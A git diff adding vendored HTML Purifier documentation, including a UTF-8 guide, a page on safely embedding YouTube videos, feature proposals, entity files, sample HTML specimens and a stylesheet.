    But what happens when the browser isn't smart and happens to be the +most widely used browser in the entire world? Microsoft IE 6 +is not smart enough to borrow from other fonts when a character isn't +present, so more often than not you'll be slapped with a nice big �. +To get things to work, MSIE 6 needs a little nudge. You could configure it +to use a different font to render the text, but you can achieve the same +effect by selectively changing the font for blocks of special characters +to known good Unicode fonts.

    + +

    Fortunately, the folks over at Wikipedia have already done all the +heavy lifting for you. Get the CSS from the horses mouth here: +Common.css, +and search for ".IPA" There are also a smattering of +other classes you can use for other purposes, check out +this page +for more details. For you lazy ones, this should work:

    + +
    .Unicode {
    +        font-family: Code2000, "TITUS Cyberbit Basic", "Doulos SIL",
    +            "Chrysanthi Unicode", "Bitstream Cyberbit",
    +            "Bitstream CyberBase", Thryomanes, Gentium, GentiumAlt,
    +            "Lucida Grande", "Arial Unicode MS", "Microsoft Sans Serif",
    +            "Lucida Sans Unicode";
    +        font-family /**/:inherit; /* resets fonts for everyone but IE6 */
    +}
    + +

    The standard usage goes along the lines of <span class="Unicode">Crazy +Unicode stuff here</span>. Characters in the +Windows Glyph List +usually don't need to be fixed, but for anything else you probably +want to play it safe. Unless, of course, you don't care about IE6 +users.

    + +

    Dealing with variable width in functions

    + +

    When people claim that PHP6 will solve all our Unicode problems, they're +misinformed. It will not fix any of the aforementioned troubles. It will, +however, fix the problem we are about to discuss: processing UTF-8 text +in PHP.

    + +

    PHP (as of PHP5) is blithely unaware of the existence of UTF-8 (with a few +notable exceptions). Sometimes, this will cause problems, other times, +this won't. So far, we've avoided discussing the architecture of +UTF-8, so, we must first ask, what is UTF-8? Yes, it supports Unicode, +and yes, it is variable width. Other traits:

    + +
      +
    • Every character's byte sequence is unique and will never be found + inside the byte sequence of another character,
    • +
    • UTF-8 may use up to four bytes to encode a character,
    • +
    • UTF-8 text must be checked for well-formedness,
    • +
    • Pure ASCII is also valid UTF-8, and
    • +
    • Binary sorting will sort UTF-8 in the same order as Unicode.
    • +
    + +

    Each of these traits affect different domains of text processing +in different ways. It is beyond the scope of this document to explain +what precisely these implications are. PHPWact provides +a very good reference document +on what to expect from each function, although coverage is spotty in +some areas. Their more general notes on +character sets +are also worth looking at for information on UTF-8. Some rules of thumb +when dealing with Unicode text:

    + +
      +
    • Do not EVER use functions that:
        +
      • ...convert case (strtolower, strtoupper, ucfirst, ucwords)
      • +
      • ...claim to be case-insensitive (str_ireplace, stristr, strcasecmp)
      • +
    • +
    • Think twice before using functions that:
        +
      • ...count characters (strlen will return bytes, not characters; + str_split and word_wrap may corrupt)
      • +
      • ...convert characters to entity references (UTF-8 doesn't need entities)
      • +
      • ...do very complex string processing (*printf)
      • +
    • +
    + +

    Note: this list applies to UTF-8 encoded text only: if you have +a string that you are 100% sure is ASCII, be my guest and use +strtolower (HTML Purifier uses this function.)

    + +

    Regardless, always think in bytes, not characters. If you use strpos() +to find the position of a character, it will be in bytes, but this +usually won't matter since substr() also operates with byte indices!

    + +

    You'll also need to make sure your UTF-8 is well-formed and will +probably need replacements for some of these functions. I recommend +using Harry Fuecks' PHP +UTF-8 library, rather than use mb_string directly. HTML Purifier +also defines a few useful UTF-8 compatible functions: check out +Encoder.php in the /library/HTMLPurifier/ +directory.

    + + + +

    Well, that's it. Hopefully this document has served as a very +practical springboard into knowledge of how UTF-8 works. You may have +decided that you don't want to migrate yet: that's fine, just know +what will happen to your output and what bug reports you may receive.

    + +

    Many other developers have already discussed the subject of Unicode, +UTF-8 and internationalization, and I would like to defer to them for +a more in-depth look into character sets and encodings.

    + + + + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-youtube.html b/vendor/ezyang/htmlpurifier/docs/enduser-youtube.html new file mode 100644 index 00000000..87a36b9a --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/enduser-youtube.html @@ -0,0 +1,153 @@ + + + + + + + +Embedding YouTube Videos - HTML Purifier + + + +

    Embedding YouTube Videos

    +
    ...as well as other dangerous active content
    + +
    Filed under End-User
    +
    Return to the index.
    +
    HTML Purifier End-User Documentation
    + +

    Clients like their YouTube videos. It gives them a warm fuzzy feeling when +they see a neat little embedded video player on their websites that can play +the latest clips from their documentary "Fido and the Bones of Spring". +All joking aside, the ability to embed YouTube videos or other active +content in their pages is something that a lot of people like.

    + +

    This is a bad idea. The moment you embed anything untrusted, +you will definitely be slammed by a manner of nasties that can be +embedded in things from your run of the mill Flash movie to +Quicktime movies. +Even img tags, which HTML Purifier allows by default, can be +dangerous. Be distrustful of anything that tells a browser to load content +from another website automatically.

    + +

    Luckily for us, however, whitelisting saves the day. Sure, letting users +include any old random flash file could be dangerous, but if it's +from a specific website, it probably is okay. If no amount of pleading will +convince the people upstairs that they should just settle with just linking +to their movies, you may find this technique very useful.

    + +

    Looking in

    + +

    Below is custom code that allows users to embed +YouTube videos. This is not favoritism: this trick can easily be adapted for +other forms of embeddable content.

    + +

    Usually, websites like YouTube give us boilerplate code that you can insert +into your documents. YouTube's code goes like this:

    + +
    +<object width="425" height="350">
    +  <param name="movie" value="http://www.youtube.com/v/AyPzM5WK8ys" />
    +  <param name="wmode" value="transparent" />
    +  <embed src="http://www.youtube.com/v/AyPzM5WK8ys"
    +         type="application/x-shockwave-flash"
    +         wmode="transparent" width="425" height="350" />
    +</object>
    +
    + +

    There are two things to note about this code:

    + +
      +
    1. <embed> is not recognized by W3C, so if you want + standards-compliant code, you'll have to get rid of it.
    2. +
    3. The code is exactly the same for all instances, except for the + identifier AyPzM5WK8ys which tells us which movie file + to retrieve.
    4. +
    + +

    What point 2 means is that if we have code like <span +class="youtube-embed">AyPzM5WK8ys</span> your +application can reconstruct the full object from this small snippet that +passes through HTML Purifier unharmed. +Show me the code!

    + +

    And the corresponding usage:

    + +
    <?php
    +    $config->set('Filter.YouTube', true);
    +?>
    + +

    There is a bit going in the two code snippets, so let's explain.

    + +
      +
    1. This is a Filter object, which intercepts the HTML that is + coming into and out of the purifier. You can add as many + filter objects as you like. preFilter() + processes the code before it gets purified, and postFilter() + processes the code afterwards. So, we'll use preFilter() to + replace the object tag with a span, and postFilter() + to restore it.
    2. +
    3. The first preg_replace call replaces any YouTube code users may have + embedded into the benign span tag. Span is used because it is inline, + and objects are inline too. We are very careful to be extremely + restrictive on what goes inside the span tag, as if an errant code + gets in there it could get messy.
    4. +
    5. The HTML is then purified as usual.
    6. +
    7. Then, another preg_replace replaces the span tag with a fully fledged + object. Note that the embed is removed, and, in its place, a data + attribute was added to the object. This makes the tag standards + compliant! It also breaks Internet Explorer, so we add in a bit of + conditional comments with the old embed code to make it work again. + It's all quite convoluted but works.
    8. +
    + +

    Warning

    + +

    There are a number of possible problems with the code above, depending +on how you look at it.

    + +

    Cannot change width and height

    + +

    The width and height of the final YouTube movie cannot be adjusted. This +is because I am lazy. If you really insist on letting users change the size +of the movie, what you need to do is package up the attributes inside the +span tag (along with the movie ID). It gets complicated though: a malicious +user can specify an outrageously large height and width and attempt to crash +the user's operating system/browser. You need to either cap it by limiting +the amount of digits allowed in the regex or using a callback to check the +number.

    + +

    Trusts media's host's security

    + +

    By allowing this code onto our website, we are trusting that YouTube has +tech-savvy enough people not to allow their users to inject malicious +code into the Flash files. An exploit on YouTube means an exploit on your +site. Even though YouTube is run by the reputable Google, it +doesn't +mean they are +invulnerable. +You're putting a certain measure of the job on an external provider (just as +you have by entrusting your user input to HTML Purifier), and +it is important that you are cognizant of the risk.

    + +

    Poorly written adaptations compromise security

    + +

    This should go without saying, but if you're going to adapt this code +for Google Video or the like, make sure you do it right. It's +extremely easy to allow a character too many in postFilter() and +suddenly you're introducing XSS into HTML Purifier's XSS free output. HTML +Purifier may be well written, but it cannot guard against vulnerabilities +introduced after it has finished.

    + +

    Help out!

    + +

    If you write a filter for your favorite video destination (or anything +like that, for that matter), send it over and it might get included +with the core!

    + + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent new file mode 100644 index 00000000..ffee223e --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent @@ -0,0 +1,196 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent new file mode 100644 index 00000000..ca358b2f --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent @@ -0,0 +1,80 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent new file mode 100644 index 00000000..63c2abfa --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/examples/basic.php b/vendor/ezyang/htmlpurifier/docs/examples/basic.php new file mode 100644 index 00000000..b51096d2 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/examples/basic.php @@ -0,0 +1,23 @@ +set('Core.Encoding', 'UTF-8'); // replace with your encoding +$config->set('HTML.Doctype', 'XHTML 1.0 Transitional'); // replace with your doctype + +$purifier = new HTMLPurifier($config); + +// untrusted input HTML +$html = 'Simple and short'; + +$pure_html = $purifier->purify($html); + +echo '
    ' . htmlspecialchars($pure_html) . '
    '; + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/fixquotes.htc b/vendor/ezyang/htmlpurifier/docs/fixquotes.htc new file mode 100644 index 00000000..80dda2dc --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/fixquotes.htc @@ -0,0 +1,9 @@ + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/index.html b/vendor/ezyang/htmlpurifier/docs/index.html new file mode 100644 index 00000000..3c4ecc71 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/index.html @@ -0,0 +1,188 @@ + + + + + + + +Documentation - HTML Purifier + + + + +

    Documentation

    + +

    HTML Purifier has documentation for all types of people. +Here is an index of all of them.

    + +

    End-user

    +

    End-user documentation that contains articles, tutorials and useful +information for casual developers using HTML Purifier.

    + +
    + +
    IDs
    +
    Explains various methods for allowing IDs in documents safely.
    + +
    Embedding YouTube videos
    +
    Explains how to safely allow the embedding of flash from trusted sites.
    + +
    Speeding up HTML Purifier
    +
    Explains how to speed up HTML Purifier through caching or inbound filtering.
    + +
    UTF-8: The Secret of Character Encoding
    +
    Describes the rationale for using UTF-8, the ramifications otherwise, and how to make the switch.
    + +
    Tidy
    +
    Tutorial for tweaking HTML Purifier's Tidy-like behavior.
    + +
    Customize
    +
    Tutorial for customizing HTML Purifier's tag and attribute sets.
    + +
    URI Filters
    +
    Tutorial for creating custom URI filters.
    + +
    + +

    Development

    +

    Developer documentation detailing code issues, roadmaps and project +conventions.

    + +
    + +
    Implementation Progress
    +
    Tables detailing HTML element and CSS property implementation coverage.
    + +
    Naming Conventions
    +
    Defines class naming conventions.
    + +
    Optimization
    +
    Discusses possible methods of optimizing HTML Purifier.
    + +
    Flushing the Purifier
    +
    Discusses when to flush HTML Purifier's various caches.
    + +
    Advanced API
    +
    Specification for HTML Purifier's advanced API for defining +custom filtering behavior.
    + +
    Config Schema
    +
    Describes config schema framework in HTML Purifier.
    + +
    + +

    Proposals

    +

    Proposed features, as well as the associated rambling to get a clear +objective in place before attempted implementation.

    + +
    +
    Colors
    +
    Proposal to allow for color constraints.
    +
    + +

    Reference

    +

    Miscellaneous essays, research pieces and other reference type material +that may not directly discuss HTML Purifier.

    + +
    +
    DevNetwork Credits
    +
    Credits and links to DevNetwork forum topics.
    +
    + +

    Internal memos

    + +

    Plaintext documents that are more for use by active developers of +the code. They may be upgraded to HTML files or stay as TXT scratchpads.

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    TypeNameDescription
    End-userOverviewHigh level overview of the general control flow (mostly obsolete).
    End-userSecurityCommon security issues that may still arise (half-baked).
    DevelopmentConfig BC BreaksBackwards-incompatible changes in HTML Purifier 4.0.0
    DevelopmentCode Quality IssuesEnumerates code quality issues and places that need to be refactored.
    ProposalFilter levelsOutlines details of projected configurable level of filtering.
    ProposalLanguageSpecification of I18N for error messages derived from MediaWiki (half-baked).
    ProposalNew directivesAssorted configuration options that could be implemented.
    ProposalCSS extractionTaking the inline CSS out of documents and into style.
    ReferenceHandling Content Model ChangesDiscusses how to tidy up content model changes using custom ChildDef classes.
    ReferenceProprietary tagsList of vendor-specific tags we may want to transform to W3C compliant markup.
    ReferenceModularization of HTMLDefinitionProvides a high-level overview of the concepts behind HTMLModules.
    ReferenceWHATWGHow WHATWG plays into what we need to do.
    + + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-colors.html b/vendor/ezyang/htmlpurifier/docs/proposal-colors.html new file mode 100644 index 00000000..65763388 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/proposal-colors.html @@ -0,0 +1,49 @@ + + + + + + + +Proposal: Colors - HTML Purifier + + + +

    Colors

    +
    Hammering some sense into those color-blind newbies
    + +
    Filed under Proposals
    +
    Return to the index.
    +
    HTML Purifier End-User Documentation
    + +

    Your website probably has a color-scheme. +Green on white, +purple on yellow, +whatever. When you give users the ability to style their content, you may +want them to keep in line with your styling. If you're website is all +about light colors, you don't want a user to come in and vandalize your +page with a deep maroon.

    + +

    This is an extremely silly feature proposal, but I'm writing it down anyway.

    + +

    What if the user could constrain the colors specified in inline styles? You +are only allowed to use these shades of dark green for text and these shades +of light yellow for the background. At the very least, you could ensure +that we did not have pale yellow on white text.

    + +

    Implementation issues

    + +
      +
    1. Requires the color attribute definition to know, currently, what the text +and background colors are. This becomes difficult when classes are thrown +into the mix.
    2. +
    3. The user still has to define the permissible colors, how does one do +something like that?
    4. +
    + + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-config.txt b/vendor/ezyang/htmlpurifier/docs/proposal-config.txt new file mode 100644 index 00000000..4e031c58 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/proposal-config.txt @@ -0,0 +1,23 @@ + +Configuration + +Configuration is documented on a per-use case: if a class uses a certain +value from the configuration object, it has to define its name and what the +value is used for. This means decentralized configuration declarations that +are nevertheless error checking and a centralized configuration object. + +Directives are divided into namespaces, indicating the major portion of +functionality they cover (although there may be overlaps). Please consult +the documentation in ConfigDef for more information on these namespaces. + +Since configuration is dependant on context, internal classes require a +configuration object to be passed as a parameter. (They also require a +Context object). A majority of classes do not need the config object, +but for those who do, it is a lifesaver. + +Definition objects are complex datatypes influenced by their respective +directive namespaces (HTMLDefinition with HTML and CSSDefinition with CSS). +If any of these directives is updated, HTML Purifier forces the definition +to be regenerated. + + vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt b/vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt new file mode 100644 index 00000000..9933c96b --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt @@ -0,0 +1,34 @@ + +Extracting inline CSS from HTML Purifier + voodoofied: Assigning semantics to elements + +Sander Tekelenburg brought to my attention the poor programming style of +inline CSS in HTML documents. In an ideal world, we wouldn't be using inline +CSS at all: everything would be assigned using semantic class attributes +from an external stylesheet. + +With ExtractStyleBlocks and CSSTidy, this is now possible (when allowed, users +can specify a style element which gets extracted from the user-submitted HTML, which +the application can place in the head of the HTML document). But there still +is the issue of inline CSS that refuses to go away. + +The basic idea behind this feature is assign every element a unique identifier, +and then move all of the CSS data to a style-sheet. This HTML: + +
    Big things!
    + +into + +
    Big things!
    + +and a stylesheet that is: + +#hp-12345 {text-align:center;} +#hp-12346 {color:red;} + +Beyond that, HTML Purifier can magically merge common CSS values together, +and a whole manner of other heuristic things. HTML Purifier should also +make it easy for an admin to re-style the HTML semantically. Speed is not +an issue. Also, better WYSIWYG editors are needed. + + vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-errors.txt b/vendor/ezyang/htmlpurifier/docs/proposal-errors.txt new file mode 100644 index 00000000..87cb2ac1 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/proposal-errors.txt @@ -0,0 +1,211 @@ +Considerations for ErrorCollection + +Presently, HTML Purifier takes a code-execution centric approach to handling +errors. Errors are organized and grouped according to which segment of the +code triggers them, not necessarily the portion of the input document that +triggered the error. This means that errors are pseudo-sorted by category, +rather than location in the document. + +One easy way to "fix" this problem would be to re-sort according to line number. +However, the "category" style information we derive from naively following +program execution is still useful. After all, each of the strategies which +can report errors still process the document mostly linearly. Furthermore, +not only do they process linearly, but the way they pass off operations to +sub-systems mirrors that of the document. For example, AttrValidator will +linearly proceed through elements, and on each element will use AttrDef to +validate those contents. From there, the attribute might have more +sub-components, which have execution passed off accordingly. + +In fact, each strategy handles a very specific class of "error." + +RemoveForeignElements - element tokens +MakeWellFormed - element token ordering +FixNesting - element token ordering +ValidateAttributes - attributes of elements + +The crucial point is that while we care about the hierarchy governing these +different errors, we *don't* care about any other information about what actually +happens to the elements. This brings up another point: if HTML Purifier fixes +something, this is not really a notice/warning/error; it's really a suggestion +of a way to fix the aforementioned defects. + +In short, the refactoring to take this into account kinda sucks. + +Errors should not be recorded in order that they are reported. Instead, they +should be bound to the line (and preferably element) in which they were found. +This means we need some way to uniquely identify every element in the document, +which doesn't presently exist. An easy way of adding this would be to track +line columns. An important ramification of this is that we *must* use the +DirectLex implementation. + + 1. Implement column numbers for DirectLex [DONE!] + 2. Disable error collection when not using DirectLex [DONE!] + +Next, we need to re-orient all of the error declarations to place CurrentToken +at utmost important. Since this is passed via Context, it's not always clear +if that's available. ErrorCollector should complain HARD if it isn't available. +There are some locations when we don't have a token available. These include: + + * Lexing - this can actually have a row and column, but NOT correspond to + a token + * End of document errors - bump this to the end + +Actually, we *don't* have to complain if CurrentToken isn't available; we just +set it as a document-wide error. And actually, nothing needs to be done here. + +Something interesting to consider is whether or not we care about the locations +of attributes and CSS properties, i.e. the sub-objects that compose these things. +In terms of consistency, at the very least attributes should have column/line +numbers attached to them. However, this may be overkill, as attributes are +uniquely identifiable. You could go even further, with CSS, but they are also +uniquely identifiable. + +Bottom-line is, however, this information must be available, in form of the +CurrentAttribute and CurrentCssProperty (theoretical) context variables, and +it must be used to organize the errors that the sub-processes may throw. +There is also a hierarchy of sorts that may make merging this into one context +variable more sense, if it hadn't been for HTML's reasonably rigid structure. +A CSS property will never contain an HTML attribute. So we won't ever get +recursive relations, and having multiple depths won't ever make sense. Leave +this be. + +We already have this information, and consequently, using start and end is +*unnecessary*, so long as the context variables are set appropriately. We don't +care if an error was thrown by an attribute transform or an attribute definition; +to the end user these are the same (for a developer, they are different, but +they're better off with a stack trace (which we should add support for) in such +cases). + + 3. Remove start()/end() code. Don't get rid of recursion, though [DONE] + 4. Setup ErrorCollector to use context information to setup hierarchies. + This may require a different internal format. Use objects if it gets + complex. [DONE] + + ASIDE + More on this topic: since we are now binding errors to lines + and columns, a particular error can have three relationships to that + specific location: + + 1. The token at that location directly + RemoveForeignElements + AttrValidator (transforms) + MakeWellFormed + 2. A "component" of that token (i.e. attribute) + AttrValidator (removals) + 3. A modification to that node (i.e. contents from start to end + token) as a whole + FixNesting + + This needs to be marked accordingly. In the presentation, it might + make sense keep (3) separate, have (2) a sublist of (1). (1) can + be a closing tag, in which case (3) makes no sense at all, OR it + should be related with its opening tag (this may not necessarily + be possible before MakeWellFormed is run). + + So, the line and column counts as our identifier, so: + + $errors[$line][$col] = ... + + Then, we need to identify case 1, 2 or 3. They are identified as + such: + + 1. Need some sort of semaphore in RemoveForeignElements, etc. + 2. If CurrentAttr/CurrentCssProperty is non-null + 3. Default (FixNesting, MakeWellFormed) + + One consideration about (1) is that it usually is actually a + (3) modification, but we have no way of knowing about that because + of various optimizations. However, they can probably be treated + the same. The other difficulty is that (3) is never a line and + column; rather, it is a range (i.e. a duple) and telling the user + the very start of the range may confuse them. For example, + + Foo
    bar
    + ^ ^ + + The node being operated on is , so the error would be assigned + to the first caret, with a "node reorganized" error. Then, the + ChildDef would have submitted its own suggestions and errors with + regard to what's going in the internals. So I suppose this is + ok. :-) + + Now, the structure of the earlier mentioned ... would be something + like this: + + object { + type = (token|attr|property), + value, // appropriate for type + errors => array(), + sub-errors = [recursive], + } + + This helps us keep things agnostic. It is also sufficiently complex + enough to warrant an object. + +So, more wanking about the object format is in order. The way HTML Purifier is +currently setup, the only possible hierarchy is: + + token -> attr -> css property + +These relations do not exist all of the time; a comment or end token would not +ever have any attributes, and non-style attributes would never have CSS properties +associated with them. + +I believe that it is worth supporting multiple paths. At some point, we might +have a hierarchy like: + + * -> syntax + -> token -> attr -> css property + -> url + -> css stylesheet + + + +

    HTML align attribute to CSS

    + +

    Inspect source for methodology.

    + +
    +
    + HTML +
    +
    + CSS +
    +
    + +
    + +

    table.align

    + +

    left

    +
    +
    + a
    O
    a +
    +
    + a
    O
    a +
    +
    + +

    center

    +
    +
    + a
    O
    a +
    +
    + a
    O
    a +
    +
    + +

    right

    +
    +
    + a
    O
    a +
    +
    + a
    O
    a +
    +
    + +
    + + + +
    +

    img.align

    +

    left

    +
    +
    + aa +
    +
    + aa +
    +
    + +

    right

    +
    +
    + aa +
    +
    + aa +
    +
    + +

    bottom

    +
    +
    + aa +
    +
    + aa +
    +
    + +

    middle

    +
    +
    + aa +
    +
    + aa +
    +
    + +

    top

    +
    +
    + aa +
    +
    + aa +
    +
    + +
    + + + +
    + +

    hr.align

    + +

    left

    +
    +
    +
    +
    +
    +
    +
    +
    + +

    center

    +
    +
    +
    +
    +
    +
    +
    +
    + +

    right

    +
    +
    +
    +
    +
    +
    +
    +
    + +
    + + + diff --git a/vendor/ezyang/htmlpurifier/docs/specimens/img.png b/vendor/ezyang/htmlpurifier/docs/specimens/img.png new file mode 100644 index 0000000000000000000000000000000000000000..a755bcb5edbb34f9795364dd147f6d3c58465c86 GIT binary patch literal 2138 zcmV-g2&MOlP)U-u*QjPY~x+q*!!Bf{V}^P zE~UxZ9-G1*X|$T1-I;T~x%b?2&OM^4s*1Z=BzL)F0Av7U0Av7U0Av7U0Av8%wPMWR zv*rQIfh9l{Pz>ZIuZ;j#flI(ypatl?69D7`4+4(@D}Vx@&qrZlAr%!B6c!c&(BI!r zFc_r2zn^F{3NQ$q0DcJ^0m5D>C_GAr0>IaSr+~_`vNG1MU(c#lt0*lk#j-3wAcXs4 ztpPN#Sd6Z&E}EO0IdI?rSFT(ExC}f8><5Pb9{_wF*b6MGudip@w(V3es7A?uyBqCV ze6unsB7p5UT)cRZ9ox6l+}sRs0r)QP+U*L!2kZjAQ(0NbPxd`e?S1zlrNGhpmPX%F zF(Ht`{cl^_IiB431f89o06zvc1JUVFS``!&Ovil+fP+B8SJ$oMr!T(9$4W|Yw1e%q z#%oQQhsJR^7aqdV8r!j_ zbzUi{kV0_i$PvEx)VI)5z6GoWLbD0L2mBWJ-2RtdV%5r(#1nSf!#$m8VHyS}{`wcz zH8hYM1z(!VbeQTC_yO>>?YnmIz-J#I5{qLy4vyB|9F9Z6wy7*Hr)2(o{`B_SH9!{d z=4=3X2-x?fkH*{eGhH_>6|IKGP%;iSWo*zRU+*U1xxmlZg{18wsulmTr1_Gk(9H!Qo+MT1F!g z3IYK(J-wN4Kl#Mcq)yMx1b}>CRB{2;Hr4)uV+;b@qQlOCtAyBDgD2)*`GCIa5>gssoP~)7W zj<0(KV2L9HBV(hybLt-$rio#in3muD%<^MdK1|bOEUJ(~x)7uS2Q14qUMYo<{FKT- z36=a_Vi@i@fKn29Lxy;308#P_i&4tNw&P2@1W+NA!phDXH$)2e4N55x$qJj4@+RXA zr4Toy#E#Yot&!Ts2AqT@o&Xt(yZ1w)42i%Ee}$L`!?|H(*up_bMRp*U;m}}(r#`^6 zETmKu6qr;oGMVoF=XXL*G*TuVooN^dWsqf=n1+FNG*R0o8jayN8r!zX&J8de8Z7Y= zK(3TCS4WjXfWA2)%FoT=-lDk#va+yDgSc(eI}qa4IR*4~b>`mjRbktT(uTlzUzj9dR7zwgZy#C;k2XsS2}aBcLZ9i{Uu-NAk`yB?19j6AT7PCkB`d zfS|T*;*sbCk3QQXg&-P@F)%Oy5cCqjS*bPG!{G@P+}RYZH9`tHJAQ@s;V&hzSd4=Q4+0$b+6Msqnpli$S9``| z{n;G;rczwE(9Wexmt5V_1vrW49sxS~x<0_R?OAn(hEl|Bn;-4j1JIGw&2s=@;DyN0 z5Z%Eb%Cu$;fZu1)(%Q<2=05|xz$7+NC;R#i0B1VieV6Fyb(At@-1scNpONdMJhORA z%JaW8DIYS)=MMv0oJfRoEiJA$R&vJXz0b0cQnGvZZmx7*26zS-nn?fvhk?DJo*pi= z{vBodkivTiLI~yra%gI7;&9`u;O;~>P4<3M-5ELt)C~;`)JQ2PE-OPyw+5lw0*lU6ay1N4R;v5Mq2?7q~Tsl+j8`45=v0%cJegJM7-}eUgQb4L1~!W*mT> zRN|8Z-QCsEXoP#K7fdj8x&Ro`z%oq!cKjIoez+UpE#ML0`cw>EF4TtZ)bm2Uv zX)(8C9;q^Cx&Wk-n9@L_xp?lM{QUW6x!lnXZiB=((oK7B=~KLHk;yMAqIUVG`1q0~ z7|AN}xQ`Gbc`gvrMBUa&MTZhbDEB}vkZp@A&n*} z!!W3;tK;O!limR6=;$C8i*fYmQMPW~N;v$Xf!9rKatMh(C!0WC9{#Kx0AkTGhQmXQ zja)}-8`5l(%g@he$BrGWUcDOAG+DH0kv9O^+uO(IZaf~Rsi}#bJ9jcP^pRqaX>XLw z%gbZSmMyGVvj)qua2yBQw!H&zCrYMSIs+gBAOj!+AOj!+AOj!+;BJ+F0UD2hYPD%9{>OV literal 0 HcmV?d00001 diff --git a/vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html b/vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html new file mode 100644 index 00000000..1cc08f88 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html @@ -0,0 +1,129 @@ + + + + + + + + + + + + +
    + +

    + +

     

    + +

    Name

    + +

    E-mail : mail@example.com

    + +

     

    + +

    Company

    + +

    Address 1

    + +

    Address 2

    + +

     

    + +

    Telefoon  : +xx xx xxx xxx xx

    + +

    Fax  : +xx xx xxx xx xx

    + +

    Internet : http://www.example.com

    + +

    Kamer van koophandel +xxxxxxxxx

    + +

     

    + +

    Op deze +e-mail is een disclaimer van toepassing, ga naar www.example.com/disclaimer
    +A disclaimer is applicable to this email, please +refer to www.example.com/disclaimer

    + +

     

    + +
    + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html b/vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html new file mode 100644 index 00000000..735b4bd9 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html @@ -0,0 +1,74 @@ + + + + + + + +
    Play +slideshow | Download the highest quality version of a picture by +clicking the + above it
    +
    +
      +
    1. Angry smile emoticonUn ka Tev iet, un ko tu dari? +
    2. Aha!
    + +
    + + + + + + +
    + +
    +
    This + is title for this + picture
    + +
    +
     
    +
    Online +pictures are available for 30 days. Get Windows Live Mail desktop to create +your own photo e-mails.
    diff --git a/vendor/ezyang/htmlpurifier/docs/style.css b/vendor/ezyang/htmlpurifier/docs/style.css new file mode 100644 index 00000000..bd79c8a0 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/style.css @@ -0,0 +1,76 @@ +html {font-size:1em; font-family:serif; } +body {margin-left:4em; margin-right:4em; } + +dt {font-weight:bold; } +pre {margin-left:2em; } +pre, code, tt {font-family:monospace; font-size:1em; } + +h1 {text-align:center; font-family:Garamond, serif; + font-variant:small-caps;} +h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; + font-size:1.3em;} +h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } +h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } + +/* For witty quips */ +.subtitled {margin-bottom:0em;} +.subtitle , .subsubtitle {font-size:.8em; margin-bottom:1em; + font-style:italic; margin-top:-.2em;text-align:center;} +.subsubtitle {text-align:left;margin-left:2em;} + +/* Used for special "See also" links. */ +.reference {font-style:italic;margin-left:2em;} + +/* Marks off asides, discussions on why something is the way it is */ +.aside {margin-left:2em; font-family:sans-serif; font-size:0.9em; } +blockquote .label {font-weight:bold; font-size:1em; margin:0 0 .1em; + border-bottom:1px solid #CCC;} +.emphasis {font-weight:bold; text-align:center; font-size:1.3em;} + +/* A regular table */ +.table {border-collapse:collapse; border-bottom:2px solid #888; margin-left:2em; } +.table thead th {margin:0; background:#888; color:#FFF; } +.table thead th:first-child {-moz-border-radius-topleft:1em;} +.table tbody td {border-bottom:1px solid #CCC; padding-right:0.6em;padding-left:0.6em;} + +/* A quick table*/ +table.quick tbody th {text-align:right; padding-right:1em;} + +/* Category of the file */ +#filing {font-weight:bold; font-size:smaller; } + +/* Contains, without exception, Return to index. */ +#index {font-size:smaller; } + 